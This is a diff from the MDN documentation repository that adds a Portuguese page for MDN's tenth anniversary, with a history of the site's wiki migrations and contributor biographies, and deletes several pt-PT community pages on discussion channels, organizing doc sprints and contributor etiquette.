In this talk, several contributors of the MDN project look at the past ten years of developer.mozilla.org, and at the decade to come. You will hear the story of different wiki software migrations, how a documentation community was built, and many more highlights of the history of the site. The group then also talks about current challenges and projects the MDN community is working on this year.

+ +
+ + +

{{ EmbedLiveSample('audio', '100%', '60px') }}

+ +

Below, learn more about the people who are sharing their memories and thoughts, and get a deeper look at specific details they mention.

+
+
+ +
+
Justin Crawford + +

Justin Crawford Product Manager, MDN

+ +

Justin moderates this talk and makes things with code, words, bike parts, and lumber. He is @hoosteeno on Twitter.

+
+ +
+

O que é MDN, e para quem é? Um lugar para a comunidade Open Web  Um lugar para a comunidade da 'Web Aberta'

+ +

MDN provides useful information for Web technologies, and encourages learning, sharing, and teaching in the open Web community. On MDN, you come together and make things for yourself and for others.

+A place for Mozilla developers + +

MDN is also a place for Mozilla engineers, such as Gecko or Firefox hackers, add-on developers, and Firefox OS contributors.

+
+ +
Eric Shepherd + +

Eric "Sheppy" Shepherd Technical Writer, MDN

+ +

Sheppy has been here documenting for Mozilla since 2006, and has a lot of history (and crazy ideas) when it comes to MDC and MDN over the years. He is @sheppy on Twitter.

+
+ +
+

The history of MDN Pre-wiki era – Netscape DevEdge

+ +

In the early days there was DevEdge, the developer documentation from Netscape which formed the basis of some of MDN's documentation. Have a look at the past on archive.org:

+ +

Netscape DevEdge

+ +

On October 12, 2004, this popular developer website was shut down by AOL, Netscape's parent company. Only a few months later, in February 2005, Mitchell Baker was able to rescue DevEdge and reached an agreement with AOL that allowed Mozilla to post, modify, and create new documents based on the former Netscape DevEdge materials. In other words, what happened to the Mozilla source in 1998 finally happened for Netscape's developer documentation as well: It became open source.

+ +

Deb Richardson joined the Mozilla Foundation as a Technical Editor and lead the new DevMo project for community driven developer documentation.

+
+ +
+

MediaWiki The first wiki engine

+ +

With MediaWiki as the new underlying project platform, the Mozilla developer documentation has been made editable for anyone starting in July 2005. A new collaborative element in Mozilla was established and since then anyone is welcome to help making it better and to share knowledge. A new international community began to grow and to translate developer contents into other languages.

+ +

MDC MediaWiki

+
+ +
Florian Scholz + +

Florian Scholz Technical Writer, MDN

+ +

Florian is a Technical Writer at Mozilla focused on open web technologies. He is a wiki gnome, gardening the documentation as if it were flowers, and he likes to work with the community toward the goal of documenting the Web and making it accessible to everyone. Florian is passionate about open source, he is based in Bremen, Germany, and tweets as @floscholz on Twitter.

+
+ +
+

DekiWiki The second wiki engine

+ +

In August 2008, the Mozilla Developer Center switched to MindTouch DekiWiki, a powerful and new content management system and wiki system for technical documentation. This platform change was quite controversial in the community that was used to MediaWiki from 2005 on and built tools around it.

+ +

MDC DekiWiki

+
+ +
Ali Spivak + +

Ali Spivak Herder of awesome MDN cats

+ +

Ali Spivak manages content & community on the Mozilla Developer Network and spends her time thinking of ways to help make the Web even more awesome. She is passionate about maintaining a free and open Web, and, after jumping into open source when she joined Mozilla in 2012, has focused on building and participating in the developer communities at Mozilla. She is @alispivak on Twitter.

+
+ +
+

Kuma The third and current wiki engine

+ +

Kuma, forked from Kitsune in early 2011 and launched on August 3, 2012, is a Mozilla-built wiki platform based on Django with its own KumaScript macro system which uses Node.js.

+ +

With the code living on GitHub, the community started to contribute to MDN's CMS as well. From now on, hacking on MDN includes both writing documentation and Kuma coding.

+ +

MDN KUMA

+
+ +
David Walsh + +

David Walsh Web developer, MDN

+ +

Mozilla Sr. Web Developer, Front-End Engineer, MooTools Core Developer, Javascript Fanatic, CSS Tinkerer, PHP Hacker, web and open source lover. David is @davidwalshblog on Twitter.

+
+ +
+

Redesigning MDN Kuma with the refreshed design

+ +

The redesign of MDN was a big project. Sean Martell designed the new MDN visual identity. It was then an iterative process with a beta user group of 3000 MDNers during several months. The new look was behind a "Waffle flag" (MDN's feature flag system). Major shout-outs also to David Walsh who was really championing the entire redesign and gave MDN the front-end that it deserves.

+Waffle flag
+ +
Janet Swisher + +

Janet Swisher Community Manager, MDN

+ +

Janet is a Mozilla Community Manager for Mozilla Developer Network. She joined Mozilla in 2010, and has been involved in open source software since 2004 and in technical communication since the 20th century. She is @jmswisher on Twitter.

+
+ +
+

Community around Open Web docs Community-driven, browser-agnostic Open Web documentation

+ +

At some point in 2010, especially when community members and Technical Writers met in Paris, it became more obvious that MDN's focus is clearly shifting from "Let's document all things Firefox!" to "Let's document the Web!". Documentation has been cleaned up and restructured over the last few years, so that MDN's open Web documentation is browser-agnostic. This material, useful for anyone developing for the Web, is our most popular and most widely used content.

+ +

Different browser vendors have joined every once in a while to help shape this part of MDN. This cross-browser collaboration has been very successful and is appreciated by MDN's readers.

+
+ +
Luke Crouch + +

Luke Crouch Web developer, MDN

+ +

Luke Crouch is a home-brewer, soccer fan and web developer for Mozilla. He's been developing on the web since 1996, using Firefox since 2004, writing open source software since 2006, and joined Mozilla as the first staff MDN web dev in 2010. Luke is @groovecoder on Twitter.

+
+ +
+

Localization communities MDN serves a global audience in many languages

+ +

Localization is a big part of the Mozilla community; it is a component of almost every project and product. Using Kuma, MDN is also very localizable and suited for the needs of our l10n community. The W3C specifications and other resources describing the Web's functionality have no direct goals, and have communities that provide specs in multiple languages. Especially for beginners, MDN is the first step to explore web technologies, so it's our aim to be there for everyone. MDN has a broad audience and aims to include not only native English speakers. It is appreciated all around the globe.

+
+ +
Julien + +

Julien (a.k.a. Sphinx) French localization, MDN

+ +

Julien spent many nights and weekends over several month, translating JavaScript articles into French. He is not a developer, but has a background in IT and wants to learn more about new technologies. He contributes to MDN instead of watching TV.

+
+ +
Jean-Yves Perrier + +

Jean-Yves Perrier Technical Writer, MDN

+ +

Jean-Yves has been a Technical Writer on MDN since 2010 and joined Mozilla full-time at the end of 2011. He is passionate about the open Web, with 15 years of C++ experience. He is Swiss but lives in London, UK. His Erdös number is 5 and he is @Teoli2003 on Twitter.

+
+ +
+

Learning Area

+ +

The MDN Learning Area is a new effort to teach basic web skills. Over the last 10 years, MDN added a lot of advanced material, serving experts with valuable information. This project is focused on materials for beginners, and tries to fill in a lot of knowledge gaps.

+
+ +
Jérémie Patonnier + +

Jérémie Patonnier Technical Writer, MDN

+ +

Jérémie is a long time contributor to the Mozilla Developer Network, and a professional web developer since 2000. He's advocating web standards and write documentation about web technologies with the will to make them accessible to everybody. He is @JeremiePat on Twitter.

+
+ +
+

The future of MDN What will be different when we celebrate 20 years of MDN?

+ +

Everyone involved with MDN really cares about the web being open and accessible, and that's why we have the localization teams and all of the people contributing. MDN hopes to continue to be a key player in keeping the Web the way we feel it should be.

+ +

One big part of this future is going to be learning resources. There will be a lot more Web developers over the next ten years.

+ +

Another big part of our job is maintaining and updating the information we already have, so we can always serve relevant content to Web developers.

+ +

What is changing and will likely change more in the future, is how information is consumed. Today people searching for information and looking up documentation. In the future, MDN documentation might be delivered directly in code editors, Firefox Developer Tools, and many other developer tools and services.

+
+ +
+

Awesome contributors Many more people have done amazing work on MDN

+ +
+
    +
  • Les Orchard
  • +
  • John Karahalis
  • +
  • David Walsh
  • +
  • Jannis Leidel
  • +
  • Stephanie Hobson
  • +
  • James Bennett
  • +
  • Isac Lagerblad
  • +
  • Piotrek Koszuliński
  • +
  • Craig Cook
  • +
  • Rob Hudson
  • +
  • John Whitlock
  • +
  • ...
    + And many more Kuma contributors.
  • +
+ + +
    +
  • Chris Mills
  • +
  • Will Bamberg
  • +
  • David Bruant
  • +
  • Thierry Régagnon
  • +
  • etherthank
  • +
  • Saurabh Nair
  • +
  • Deb Richardson
  • +
  • Sebastian Zartner
  • +
  • Tooru Fujisawa
  • +
  • Karen Scarfone
  • +
  • Niklas Barning
  • +
  • ...
    + And hundreds more wiki collaborators.
  • +
+
+The Berlin Office
+
diff --git a/files/pt-pt/mdn/at_ten/index.html b/files/pt-pt/mdn/at_ten/index.html new file mode 100644 index 0000000000..fcd5f5875f --- /dev/null +++ b/files/pt-pt/mdn/at_ten/index.html @@ -0,0 +1,39 @@ +--- +title: 10.º Aniversário da MDN +slug: MDN_at_ten +tags: + - MDN +translation_of: MDN_at_ten +--- +
Celebrar 10 anos de documentação da sua Web.
+ +
+
+

A história da MDN

+ +

No início de 2005, uma pequena equipa de idealistas juntaram-se para criar uma comunidade nova e livre, de recursos on-line para todos os programadores da Web. Com a ideia brilhante mas estranha, cresceu até hoje para se tornar no que é hoje, a Rede de Desenvolvimento da Mozilla - o primeiro recurso para todas as tecnologias abertas da Web. Dez anos mais tarde, a nossa comunidade global é maior do que nunca, e juntos iremos continuar a criar documentação, exemplos de código e recursos de aprendizagem para todas as tecnologias abertas da Web, incluindo CSS, HTML, JavaScript e tudo o mais que torna a Web aberta tão poderosa como é.

+ +

Saber maisabout the history

+ + +

Contribuir para a MDN

+ +

Durante dez anos, a nossa comunidade MDN tem vindo a documentar a Web aberta. Desde corrigir pequenos erros até escrever conjuntos completos de uma API completamente nova, toda a gente tem qualquer coisa para oferecer, e nenhuma contribuição é menos ou mais importante do que qualquer outra. Nós temos mais de 90 000 páginas de conteúdo que têm vindo a ser escritas ou traduzidas por membros da nossa comunidade fantástica de Mozillians. Pode tornar-se num deles.

+ +

Saber maisabout contributing

+ +

 

+ +

 

+
+ +
{{TenthCampaignQuote}}
+ + + +
    +
  1. 10.º Aniversário da MDN
  2. +
  3. A história da MDN
  4. +
  5. Contribuir para a MDN
  6. +
+
diff --git "a/files/pt-pt/mdn/comunidade/conversa\303\247\303\265es/index.html" "b/files/pt-pt/mdn/comunidade/conversa\303\247\303\265es/index.html" deleted file mode 100644 index 2112b63562..0000000000 --- "a/files/pt-pt/mdn/comunidade/conversa\303\247\303\265es/index.html" +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Conversações da comunidade MDN -slug: MDN/Comunidade/Conversações -tags: - - Comunidade - - Guia(2) - - MDN Meta -translation_of: MDN/Community/Conversations ---- -
{{MDNSidebar}}

O "trabalho" da MDN ocorre no site da MDN, mas a "comunidade" também produz através da discussão (assíncrona), conversação on-line (síncrona) e encontros.

- -

Discussões assíncronas

- -

Para partilhar a informação e ter discussões em curso, a MDN tem a sua própria categoria ("MDN") , no fórum da Mozilla Discourse. Utilize esta categoria para todos os tópicos relacionados com a MDN, incluindo a criação de conteúdo da documentação, tradução, e manutenção; desenvolvimento da plataforma MDN; planeamento, definição de metas, e acompanhamento do progresso.

- - - -

Arquivos históricos

- -

Antes de junho de 2017, as discussões relacionadas com a MDN ocorriam nas listas de endereços que eram acedidas e arquivadas com os grupos Google. Se desejar pesquisar essas discussões anteriores, pode consultar os grupos Google correspondentes às listas de endereços antigas. (Sim, nós sabemos que esses nomes são sobrepostos e confusos. Acidente histórico. Desculpe por isso.)

- -
-
mozilla.dev.mdc a.k.a. dev-mdc
-
Esta lista era para discussões sobre conteúdo de documentação na MDN.
-
mozilla.dev.mdn a.k.a. dev-mdn
-
Esta lista era sobre o trabalho de desenvolvimento na plataforma subjacente Kuma da MDN.
-
mozilla.mdn a.k.a. mdn@
-
Este fórum era para discussões de alto nível de planeamento e priorização, para o site da Web da MDN e outras iniciativas relacionadas.
-
- -

 

- -

Conversação no IRC

- -

Internet Relay Chat (IRC) is our preferred method for day-to-day chat and real-time discussions among community members. We use a few channels on the server irc.mozilla.org for discussions related to MDN.

- -
-
#mdn
-
This channel is our primary channel for discussing the content of MDN. We talk about writing, organization of content, and so on. We also have "water cooler" conversations here—it's a way our community can keep in touch and just hang out. This is also the place to talk about other aspects of MDN (other than development of the platform), such as Demo Studio, profiles, and so on.
-
#mdndev
-
This channel is where our development team—the people that write the code that makes MDN work—hangs out and discusses their day-to-day work. You're welcome to join in and either participate in the development or simply ask questions about issues you see with the software.
-
- -

Estes canais são mais prováveis ​​de estarem ativos durante a semana na América do Norte.

- -

You may want to learn more about IRC (EN) and use an installable IRC client such as ChatZilla (PT). It is implemented as a Firefox add-on, which makes it quick and easy to install and use. If you're not familiar with IRC, an easy way to join is using a web-based IRC client such as Scrollback, which is pre-configured with the mdn and mdndev channels.

- -

Junte-se aos nossos encontros (e outros eventos)

- -

A equipa da MDN realiza vários encontros regulares abertos para a comunidade MDN. Consulte a página de Encontros da MDN na wiki da Mozilla para obter detalhes dos agendamentos, agendas e notas, e informação sobre como participar.

- -

Consulte o calendário de Eventos da MDN (EN) para estes e outros encontros, local de encontros, e outros eventos.

- -

Se vir um encontro que ocorre no canal "mdn", no nosso sistema de videoconferência Vidyo, pode juntar-se à conversação na Web.

diff --git a/files/pt-pt/mdn/comunidade/doc_sprints/index.html b/files/pt-pt/mdn/comunidade/doc_sprints/index.html deleted file mode 100644 index fcfaac9236..0000000000 --- a/files/pt-pt/mdn/comunidade/doc_sprints/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: Doc sprints -slug: MDN/Comunidade/Doc_sprints -tags: - - Comunidade - - Guía - - Metadados MDN -translation_of: MDN/Community/Doc_sprints ---- -
{{MDNSidebar}}
- -

{{ draft() }}

- -
-

Nota: a comunidade da MDN realizou frequentemente sprints de documentação durante o período de 2010 a 2013. A partir de 2014, estes eventos foram ampliados para os eventos "Hack na MDN" que incluem hacking de código, bem como projetos de documentação. A maioria dos conselhos abaixo aplicam-se igualmente aos sprints de "Hack" e sprints de documentação.

-
- -

Este é um guia para organizar um sprint de documentação. Este contém conselhos e dicas de pessoas que organizaram os sprints de documentos, para ajudá-lo a organizar um também. Este guia também se baseia nas idéias do livroFLOSS Manuals Book Sprints.

- -

O que é um sprint de documento?

- -

A doc sprint is a short period when a group of people come together, virtually or actually, to collaborate on writing documentation on a given topic or related topics.

- -

Tipos de sprints

- -

Sprints can be virtual or in-person, or some combination. For a virtual sprint, everyone participates from wherever they happen to be located, communicating solely through mediated channels. For an in-person sprint, participants gather in the same location for the duration of the sprint, so that they can communicate face-to-face. Hybrid sprints can be mostly-in-person with some remote participants, or mostly-virtual with some local gatherings. In-person sprints require more logistical planning, to secure a meeting location, to get everybody there, and to house and feed them during the sprint.

- -

Another way to categorize sprints is by topical focus. For example, a sprint might focus on a particular subject area, such as Web development, or translation into a particular language.

- -

Planear um sprint

- -

Determinar os objetivos

- -

Have a clear idea of what the goals are for the sprint, for both content and community. This helps drive your planning of lower-level details.

- - - -

Decidir o tipo e âmbito

- -

Based on your goals, decide on the type of sprint (virtual, in-person, or combination) and the scope (what participants will focus on).

- -

For example, if you want to attract new community members, a local in-person sprint would be a good choice, because no travel is involved, but participants get to meet each other. If you want to focus on a specific subject area, where the content contributors are geographically distributed, and already know each other, then a virtual sprint may make sense.

- -

Escolher datas e horas

- -

For in-person sprints that require travel, we've found that three days (such as two weekend days and a weekday) is enough time to get some significant work done, without taking too much time away from everyone's normal lives. For public, local, in-person sprints, one day is the most you can expect most people to commit. For virtual sprints, we typically run for two days: a weekday and a weekend day. As an alternative example, in the past there has been mini-sprint for writing and translating docs, every Wednesday evening in the Mozilla Paris office; it was primarily in-person for locals, but also got remote participation from Montreal (where it was at lunch time).

- -

Attaching a sprint to the end of a conference that everyone attended worked well; trying to run a sprint during a conference that everyone attended did not work so well. Make sure that participants know about the sprint when they make their conference plans, so that they allow extra days for the sprint.

- -

Consider the time zones that virtual participants are in; be sure that you allow enough working time in each time zone, and have some overlap when multiple zones (such as Europe and Americas, or Americas and Asia) are awake. However, it's just reality that no one time is good for everyone everywhere.

- -

For virtual sprints, the dates can be set as little as 2-3 weeks in advance. For in-person sprints, you need to decide further in advance, in order to allow time for people to decide and make travel arrangements.

- -

Promoter o sprint

- -

You can make the sprint open, and invite the world, but you should have a few key people that you know for sure will participate. Work with them when selecting dates, to ensure that they are available during the chosen dates. If the sprint is not open, then you need only extend invitations; make sure that each invitation is personal, explaining why that person has been specificallly invited.

- -

For public sprints, identify existing groups that have an interest in the topic, for example: local Web developer meetup groups for a local in-person sprint. Send an announcement through whatever channel is appropriate for that group. Be sure to provide a link to a web page with more details, and include a call-to-action for people to sign up for the sprint. Eventbrite and Lanyrd are two services that support sign-ups. For Mozilla developer events, we have found that about half the people who sign up actually show up.

- -

Use the social media channels that are appropriate to reach your target attendees. We have found that for Web developers, this means Twitter, followed by Google Plus, more than Facebook or LinkedIn. However, popular channels can vary geographically (such as Orkut in Brazil). Reach out to a few well-connected people who have a large following among your target audience, and ask them to re-share your posts.

- -

Logística para sprints em pessoa

- -

Logistics for in-person sprints are greater for longer sprints and those where sprinters travel to attend. A short or locals-only sprint need relatively little logistical support.

- -

Orçamento e financiamento

- -

You need to figure out how much the event is going to cost, and where the money is going to come from.

- -

Costs to consider in your budget include:

- - - -

Some of these costs can be self-funded by participants, meaning that they pay for their own costs. There are a variety of ways to save money, which are mentioned in the following sections.

- -

It may be possible to get sponsorship from Mozilla to fund some of the costs of your event. It helps to have a clear focus for your event, and a specific plan and budget. If there is a Mozilla Rep in your area, work with them to request budget and swag through the Reps program. Otherwise, you can submit a developer events request in Bugzilla.

- -
-
Ponto de encontro
-
There are lots of options for meeting space. If you are in a city with a Mozilla office, you can use the community space in that office. Elsewhere, options include meeting rooms in libraries, churches, coffee shops, or businesses where you have contacts. Many cities now have coworking spaces that rent their conference rooms for a reasonable fee.
-
Recursos
-
Be sure that your venue has good chairs and tables, and reliable power and Internet access. Sitting all day on a bad chair is not just uncomfortable; it can lead to injury. Make sure that the number of sprinters and their computers and devices does not overwhelm the power supply and available Internet bandwidth. Be generous (but not dangerous) with extension cords, and if necessary, international plug adapters. A projector for shared viewing can be very helpful. Whiteboards and sticky notes are great for brainstorming and planning.
-
Viagens
-
Travel is relevant only if the sprinters do not all live close to the sprint venue. The usual strategies for saving on travel apply, and are not specific to doc sprints.
-
Acomodação
-
Where sprinters stay should not be inconveniently far from the meeting venue. It can be cheaper (and possibly more fun) to split the cost of a vacation house or flat, rather than paying for individual hotel rooms. If you have a mix of visitors and (willing) locals, the visitors can stay in the homes of local community members.
-
Alimentação
-
Sprinters need to eat! Make arrangements for food during the sprint, and inform sprinters if certain meals will not be arranged. If the group is staying in a home, you can save money by buying and cooking food rather than going out to eat. Even if food is self-funded, it can reduce hassle to pitch into a common fund for food, rather than splitting every restaurant bill. If your venue allows, have snacks (some healthy and some not) available between meals.
-
Diversão
-
Make time for non-writing social activities. These can be informal, like going for a hike together, or more formal, like a tourist excursion. Going out for beer (at the end of the day, of course) is usually a winner. On the other hand, don't plan every hour of every day. Everybody needs some down time, especially introverts.
-
- -

Durante o sprint

- -

Planear o trabalho

- -

 

- -

Monitorizar tarefas

- -

Have a way to track what tasks need to be worked on, who is doing what, and what has been completed. For MDN doc sprints, we use a wiki page for advance planning, and an etherpad for tracking work during the sprint.

- -

Often, people want to help but don't know where to start, and deciding among many options takes too much mental effort. For any given participant, give them a couple of possible tasks ("you could do A, or B"); this simplifies their choice, without making them feel like they're being bossed around.

- -

Colaboração

- -

One of the benefits of in-person sprints is that people can work together in ways that they might not be able to when they're not in the same place, for example, by working out ideas together on a whiteboard or by brainstorming with sticky notes. Still, there are opportunities for collaboration and camaraderie in any type of sprint. Chatting via IRC is essential for virtual sprints, and still very helpful for in-person sprints (for example, for sharing links). For a greater sense of "virtual presence", consider using a video conferencing service, such as Google Hangout.

- -

As an organizer, look for common interests among the participants and for ways that they can work together.

- -

Celebrar realizações

- -

Be sure to take time to celebrate accomplishments at the end of the sprint. This gives participants a better feeling than when the sprint just ends without any summary. If possible, have people "demo" what they have done, even if it is just showing a new article page.

- -

Also, share the sprint accomplishments via a blog post, to celebrate publicly as well. This is important for any kind of sprint, but especially for virtual sprints, where the participants might not all be online at the official end of the sprint for a wrap-up session.

diff --git a/files/pt-pt/mdn/comunidade/index.html b/files/pt-pt/mdn/comunidade/index.html deleted file mode 100644 index 1969fd94e1..0000000000 --- a/files/pt-pt/mdn/comunidade/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Aderir à Comunidade da MDN -slug: MDN/Comunidade -tags: - - Comunidade - - Guía - - Landing - - Metadados MDN -translation_of: MDN/Community ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/pt-PT/docs/MDN")}}
- -
-

Os Documentos da Web da MDN é mais do que uma wiki:

- -

É uma comunidade de programadores a trabalhar em conjunto para tornar a MDN num recurso marcante para os programadores que utilizam as tecnologias abertas da Web.

-
- -

Nós adoraríamos se contribuísse para a MDN, mas nós ainda iríamos adorar mais se participasse na comunidade da MDN. Aqui tem como ligar-se, em três passos fáceis:

- -
    -
  1. Criar uma conta na MDN.
  2. -
  3. Juntar-se às conversações.
  4. -
  5. Seguir o que está a acontecer.
  6. -
- -

Como é que a comunidade funciona

- -

O seguinte são mais artigos que descrevem a comunidade da MDN.

- -
-
-
-
Regras da comunidade
-
Há várias funções dentro da comunidade da MDN que possuem responsabilidades específicas.
-
Doc sprints
-
Este é um guia para organizar um sprint de documentação. Este contém conselhos e dicas de pessoas que organizaram sprints de documentos, para ajudá-lo a organizar um também.
-
Seguir o que está a acontecer
-
A MDN é trazida para si pela comunidade da Rede de Desenvolviemtno da Mozilla. Aqui tem algumas maneiras, e assim nós partilhamos a informação sobre o que estamos a fazer.
-
- -
-
-
- -
-
-
Conversações da comunidade da MDN
-
O "trabalho" da MDN acontece no site da MDN, mas a "comunidade" também acontece através de discussões (assíncronas) e conversação e reuniões on-line (síncrono).
-
Trabalhar em comunidade
-
Uma parte importante da contribuição para a documentação da MDN em qualquer escala significativa é saber como trabalhar como parte da comunidade da MDN. Este artigo oferece dicas para ajudá-lo a aproveitar ao máximo as interações com os outros escritores e com as equipas de desenvolvimento.
-
-
-
diff --git "a/files/pt-pt/mdn/comunidade/o_que_est\303\241_a_acontecer/index.html" "b/files/pt-pt/mdn/comunidade/o_que_est\303\241_a_acontecer/index.html" deleted file mode 100644 index 6f53451020..0000000000 --- "a/files/pt-pt/mdn/comunidade/o_que_est\303\241_a_acontecer/index.html" +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Seguir o que está a acontecer -slug: MDN/Comunidade/O_que_está_a_acontecer -tags: - - Comunidade - - Guia(2) - - Metadados MDN - - Principiante -translation_of: MDN/Community/Whats_happening ---- -
{{MDNSidebar}}

MDN is brought to you by the Mozilla Developer Network community. Here are some ways to that we share information about what we're doing.

- -

Blogues

- -
-
Mozilla Hacks
-
News about and in-depth coverage of Web and Mozilla technologies and features.
-
Engaging Developers
-
Promoting activity and discussion amongst the community involved in MDN at Mozilla.
-
- -

Emissões de ephemera

- - - -

Estado das informações e painéis

- -

The MDN documentation team maintains a Trello board on which our projects are tracked. This board is read-only but will let you see what's being worked on and what we hope to do soon, and may help you figure out where you can help. This article explains how this board is used.

- -

In addtion, take a look at the Documentation status pages to see what's going on across the full breadth of MDN content. You'll be able to see what articles need to be written or updated, what topics need the most help, and much, much more.

- -

Encontros da MDN

- -

There are a number of regular meetings for tracking and sharing progress on various MDN-related projects and processes. These are described on the MDN meetings wiki page.

- -

To get a general sense of what's happening, the best meeting to attend is the MDN Community meeting, which occurs every two weeks on Wednesdays, 10:00 US Pacific time (UTC-0800 October-March, UTC-0700 in March-October), in the #mdn IRC channel. See the MDN community meetings wiki page for agendas and notes from past meetings.

- -

The Public MDN Events calendar contains MDN community meetings, doc sprints, and other MDN-related events.

diff --git a/files/pt-pt/mdn/comunidade/trabalhar_em_comunidade/index.html b/files/pt-pt/mdn/comunidade/trabalhar_em_comunidade/index.html deleted file mode 100644 index f2c9116d03..0000000000 --- a/files/pt-pt/mdn/comunidade/trabalhar_em_comunidade/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Trabalhar em comunidade -slug: MDN/Comunidade/Trabalhar_em_comunidade -translation_of: MDN/Community/Working_in_community ---- -
{{MDNSidebar}}
- -

TA major part of contributing to MDN documentation on any significant scale is knowing how to work as part of the MDN community. This article offers tips to help you make the most of your interactions with both other writers and with development teams.

- -

Guias gerais de etiqueta

- -

Here are some general guidelines for conduct when working in the Mozilla community.

- - - -

Seja delicado

- -

Always be tactful and respectful when communicating with others.

- -

Politely pointing out mistakes

- -

If your purpose in contacting someone is to ask them to do something differently, or to point out a mistake they've been making (especially if they repeatedly do it), start your message with a positive comment. This softens the blow, so to speak, and it demonstrates that you're trying to be helpful, rather than setting you up as the  bad guy.

- -

For example, if a new contributor has been creating lots of pages without tags, and you'd like to point out this problem, your message to them might look like this (the stuff you'd need to change for each case us underlined):

- -
-

Hi, MrBigglesworth, I've been noticing your contributions to the Wormhole API documentation, and it's fantastic to have your help! I particularly like the way you balanced your level of detail with readability. That said, though, you could make these articles even better and more helpful if you added the correct tags to the pages as you go.

- -

See the MDN tagging guide (https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Tag) for details.

- -

Thanks again, and I look forward to your future contributions!

-
- -

Partilhar conhecimento

- -

As you participate in the MDN project, it's useful to know what's going on, and to interact with other members of our community. By talking with others in our community, you can get—and share—ideas, status updates, and more. We also have tools and informational resources that can help you know what's being done, by whom.

- -

Communication channels

- -

There are several ways you can engage with community members (either developers or writers), each of which has some of its own particular rules of etiquette.

- -

Bugzilla

- -

When writing documentation to cover changes implemented as a result of a bug in Bugzilla, you'll often interact with people involved in those bugs. Be sure to keep the Bugzilla Etiquette guide in mind at all times!

- -

Correio eletrónico

- -

Sometimes, a private email exchange between you and one or more other people is the way to go, if you have their email address.

- -
-

Note: As a general rule, if someone has posted their email address on documents about the technology you're documenting, has given you their email address personally, or generally has a well-known email address, email is an acceptable "first contact" approach. If you have to dig for it, you probably should try to get permission in IRC or a mailing list first, unless you've exhausted all other attempts at getting in touch.

-
- -

Ferramentas de estado de conteúdo

- -

We have several useful tools that provide information about the status of documentation content.

- -
-
Revision dashboard
-
The revision dashboard provides a fantastic tool to review changes made to MDN content. You can see recent history, choose a range of time to view, and filter based on things like locale, contributor's name, and topic. Once you're looking at a set of revisions, you can view the changes made in each revision, quickly open the page, see a full history, or even revert the changes (if you have those privileges).
-
Documentation status overview
-
Our documentation status overview page provides a list of all the areas of MDN that have been configured for status tracking, with information about how many pages therein need different types of work done. Click through to a particular topic area to see detailed lists of content that needs work, such as pages that have no tags, or are tagged with indicators that certain types of work need to be done. You can even see lists of pages that haven't been updated in a long time and may be out of date, as well as a list of bugs that have been flagged as impacting the documentation in that area.
-
Documentation project plans
-
We have a number of writing projects that are in the planning stages, or are large and ongoing, for which we have written planning documents to help us keep track of what we need to get done.
-
MDN Taiga
-
The MDN staff writers use a tool called Taiga to manage current and future documentation projects. You can take a look to see what we're doing and how it's going, and you can see what projects we'd like to see happen soon. Some of those will be taken on by staff writers, but you should feel free to take one over if you like! For more information about the agile processes followed by the MDN team, see our Process page on the Mozilla wiki.
-
- -

A comunidade de desenvolvimento

- -

Possibly the most important relationships to develop and maintain, as a member of the MDN writing community, are those you develop and sustain with the developers. They create the software we're developing, but they're also the most useful source of information we have. It's crucial that we maintain good relations with developers—the more they like you, the more likely they are to answer your questions quickly, accurately, and thoroughly!

- -

In addition, you represent the MDN writing community. Please help ensure we keep our excellent working relationship with the dev team by making every interaction they have with the writing team be a good one.

- -

On a related note, a great way to find the right person to talk to is to look at the module owners lists.

- -

A comunidade de escrita

- -

The writing community is a large one. While the number of extremely frequent, or large-scale contributors is relatively small, there are many dozens or hundreds of people who contribute at least now and then. Fortunately, these are by and large awesome people with a genuine love of the Web, Mozilla, and/or documentation, and interacting with them is almost always pretty easy.

- -

See the article Join the community for more information about the MDN community.

- -

The most frequent place you'll directly interact with other writers is in the {{IRCLink("mdn")}} channel on IRC. This channel is specifically reserved for discussing documentation. For IRC-specific etiquette tips, see the Mozilla Support article "Getting Started with IRC." You'll also have discussions with us on the MDN discussion forum. In general, IRC tends to be used for quick, more in-person-like discussions, while the discussion forum is typically used for longer-duration conversation.

- -

By keeping in mind the {{anch("General etiquette guidelines")}}, you'll find that usually things go very smoothly.

- -

Consultar também

- - diff --git a/files/pt-pt/mdn/contribute/howto/como_converter_exemplos_de_codigo_para_ficarem_live/index.html b/files/pt-pt/mdn/contribute/howto/como_converter_exemplos_de_codigo_para_ficarem_live/index.html deleted file mode 100644 index e0f16cc514..0000000000 --- a/files/pt-pt/mdn/contribute/howto/como_converter_exemplos_de_codigo_para_ficarem_live/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Como converter exemplos de código para ficarem "live" -slug: MDN/Contribute/Howto/Como_converter_exemplos_de_codigo_para_ficarem_live -tags: - - Como - - Metadados MDN - - Principiante -translation_of: MDN/Contribute/Howto/Convert_code_samples_to_be_live ---- -
{{MDNSidebar}}
- -

MDN tem um sistema de "exemplos live", onde o exemplo de código é mostrado numa página utilizada diretamente para exibir o resultado desse mesmo exemplo. Contudo, muitos artigos existentes tem exemplos de código que ainda não utilizam este sistema, e precisam de ser convertidos.

- -

Exemplos live, permitem-lhe ver como é que é o exemplo de destino. Este guia fala sobre como utilizar os exemplos existentes e adicionar a funcionalidade "live" às mesmas.

- -
-
Onde é que isso precisa de ser feito?
-
Artigos com a etiqueta NeedsLiveSample
-
O que precisa de saber para realizar a tarefa?
-
-
    -
  • Conhecimentos em HTML, CSS e/ou JavaScript, dependendo da amostra de código.
  • -
  • Capacidade de usar macros KumaScript dentro dos artigos MDN.
  • -
-
-
Quais são os passos para realizar a tarefa?
-
-
    -
  1. Escolher um artigo da lista de artigos que estão marcados NeedsLiveSample, onde a amostra de código é para uma funcionalidade com que se sente familiarizado.
  2. -
  3. Converter a amostra de código para ser "live".
  4. -
  5. Eliminar qualquer código ou imagem que fosse previamente utilizada para demonstrar o output da amostra.
  6. -
-
-
- -

Para mais informação sobre a criação  e edição de Amostras Live, consulte Utilizar o sistema de amostra live

